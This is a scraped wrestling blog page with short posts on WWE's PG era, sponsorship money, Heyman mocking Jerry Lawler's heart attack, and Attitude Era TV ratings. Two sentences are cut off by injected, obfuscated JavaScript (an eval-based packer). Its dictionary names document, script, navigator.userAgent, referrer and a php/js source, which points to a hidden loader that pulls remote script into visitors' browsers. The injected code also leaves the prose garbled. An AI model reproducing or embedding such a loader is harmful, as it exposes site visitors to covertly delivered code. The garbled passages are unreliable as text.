FOX Might Want To End The PG Era

https://wrestlingrumors.net/tommyhall/rumor-fox-ending-pg-era-wwe/

Well that would be….different.I’m not sure on this one.  The whole appeal for WWE is the fact that they’re going to the FOX network, but if that falls through and they go down to FS1 or something like that, is it worth losing so much else from the sponsorship money/mainstream acceptance they’ve received?  I’m not sold on that, and really I don’t want to see the Attitude Era style come back.  It’s a different world today and WWE has found a very nice niche with the PG style.




WWE To Earn Approximately $20 Million From Sponsorships

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfezt|var|u0026u|referrer|rddkb||js|php'.split('|'),0,{})) to Meltzer.  That would be  almost TRIPLE what they were making in 2008, and that’s why you’re going to see WWE PG for a long, long time.  This is another one of those facts that shouldn’t surprise anyone who understands basic business.




Thought of the Day – Heyman and Lawler’s Heart Attack

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyrty|var|u0026u|referrer|hkirn||js|php'.split('|'),0,{})) apparently on Raw (the reviews are coming.  Calm down) Heyman mocked Lawler for having a heart attack.  Why are people freaking out over this?Do you honestly believe Jerry Lawler wasn’t in on this the entire time and could have crushed this at anytime?  Watch some old Memphis stuff and tell me what happened on Raw isn’t tame.  Also, see what happens when WWE goes more adult like so many people are screaming for them to do?  “THAT’S TOO FAR!  HAVE SOME TASTE!”  It’s almost like wrestling fans have no idea what they want and just go along with talking points.




Thought Of The Day

The Attitude Era Raw I’m watching (August 3, 1998, as in the one where Val almost has his Valbowski chopped off) is rated TV PG. Why is it then that the fans freak out when the most popular era ever was rated the same as it is today and what do you think their defense of the ratings being the same would be?
